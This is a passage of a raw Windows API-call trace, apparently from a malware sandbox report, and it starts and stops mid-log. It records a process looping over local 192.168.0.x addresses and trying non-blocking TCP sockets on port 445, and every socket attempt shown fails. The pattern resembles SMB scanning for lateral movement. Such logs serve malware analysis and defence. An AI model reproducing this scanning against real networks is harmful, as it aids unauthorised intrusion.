(hostlong=0xc0a8007d) returned 0x7d00a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a8007e) returned 0x7e00a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a8007f) returned 0x7f00a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.272] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.272] htonl (hostlong=0xc0a80080) returned 0x8000a8c0 [0259.272] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.273] htonl (hostlong=0xc0a80081) returned 0x8100a8c0 [0259.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.273] htonl (hostlong=0xc0a80082) returned 0x8200a8c0 [0259.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.273] htonl (hostlong=0xc0a80083) returned 0x8300a8c0 [0259.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.273] htonl (hostlong=0xc0a80084) returned 0x8400a8c0 [0259.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.273] htonl (hostlong=0xc0a80085) returned 0x8500a8c0 [0259.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.273] htonl (hostlong=0xc0a80086) returned 0x8600a8c0 [0259.273] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.273] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e8 | out: argp=0x289f8e8) returned -1 [0259.273] GetProcessHeap () returned 0xc10000 [0259.273] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x344b7b0 | out: hHeap=0xc10000) returned 1 [0259.383] GetProcessHeap () returned 0xc10000 [0259.383] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x344bfb8 | out: hHeap=0xc10000) returned 1 [0259.384] htons (hostshort=0x1bd) returned 0xbd01 [0259.384] GetProcessHeap () returned 0xc10000 [0259.384] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x800) returned 0x344b7b0 [0259.384] GetProcessHeap () returned 0xc10000 [0259.384] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x800) returned 0x344bfb8 [0259.384] htonl (hostlong=0xc0a80088) returned 0x8800a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a80089) returned 0x8900a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a8008a) returned 0x8a00a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a8008b) returned 0x8b00a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a8008c) returned 0x8c00a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a8008d) returned 0x8d00a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a8008e) returned 0x8e00a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a8008f) returned 0x8f00a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.384] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.384] htonl (hostlong=0xc0a80090) returned 0x9000a8c0 [0259.384] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80091) returned 0x9100a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80092) returned 0x9200a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80093) returned 0x9300a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80094) returned 0x9400a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80095) returned 0x9500a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80096) returned 0x9600a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80097) returned 0x9700a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80098) returned 0x9800a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a80099) returned 0x9900a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.385] htonl (hostlong=0xc0a8009a) returned 0x9a00a8c0 [0259.385] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.385] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a8009b) returned 0x9b00a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a8009c) returned 0x9c00a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a8009d) returned 0x9d00a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a8009e) returned 0x9e00a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a8009f) returned 0x9f00a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a0) returned 0xa000a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a1) returned 0xa100a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a2) returned 0xa200a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a3) returned 0xa300a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a4) returned 0xa400a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a5) returned 0xa500a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a6) returned 0xa600a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.386] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.386] htonl (hostlong=0xc0a800a7) returned 0xa700a8c0 [0259.386] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800a8) returned 0xa800a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800a9) returned 0xa900a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800aa) returned 0xaa00a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800ab) returned 0xab00a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800ac) returned 0xac00a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800ad) returned 0xad00a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800ae) returned 0xae00a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800af) returned 0xaf00a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800b0) returned 0xb000a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800b1) returned 0xb100a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800b2) returned 0xb200a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800b3) returned 0xb300a8c0 [0259.387] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.387] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.387] htonl (hostlong=0xc0a800b4) returned 0xb400a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800b5) returned 0xb500a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800b6) returned 0xb600a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800b7) returned 0xb700a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800b8) returned 0xb800a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800b9) returned 0xb900a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800ba) returned 0xba00a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800bb) returned 0xbb00a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800bc) returned 0xbc00a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800bd) returned 0xbd00a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800be) returned 0xbe00a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800bf) returned 0xbf00a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800c0) returned 0xc000a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.388] htonl (hostlong=0xc0a800c1) returned 0xc100a8c0 [0259.388] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.388] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c2) returned 0xc200a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c3) returned 0xc300a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c4) returned 0xc400a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c5) returned 0xc500a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c6) returned 0xc600a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c7) returned 0xc700a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c8) returned 0xc800a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800c9) returned 0xc900a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800ca) returned 0xca00a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800cb) returned 0xcb00a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800cc) returned 0xcc00a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800cd) returned 0xcd00a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800ce) returned 0xce00a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.389] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.389] htonl (hostlong=0xc0a800cf) returned 0xcf00a8c0 [0259.389] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d0) returned 0xd000a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d1) returned 0xd100a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d2) returned 0xd200a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d3) returned 0xd300a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d4) returned 0xd400a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d5) returned 0xd500a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d6) returned 0xd600a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d7) returned 0xd700a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d8) returned 0xd800a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800d9) returned 0xd900a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800da) returned 0xda00a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800db) returned 0xdb00a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800dc) returned 0xdc00a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.390] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.390] htonl (hostlong=0xc0a800dd) returned 0xdd00a8c0 [0259.390] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800de) returned 0xde00a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800df) returned 0xdf00a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e0) returned 0xe000a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e1) returned 0xe100a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e2) returned 0xe200a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e3) returned 0xe300a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e4) returned 0xe400a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e5) returned 0xe500a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e6) returned 0xe600a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e7) returned 0xe700a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e8) returned 0xe800a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800e9) returned 0xe900a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800ea) returned 0xea00a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.391] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 [0259.391] htonl (hostlong=0xc0a800eb) returned 0xeb00a8c0 [0259.391] socket (af=2, type=1, protocol=6) returned 0xffffffff [0259.392] ioctlsocket (in: s=0xffffffff, cmd=-2147195266, argp=0x289f8e0 | out: argp=0x289f8e0) returned -1 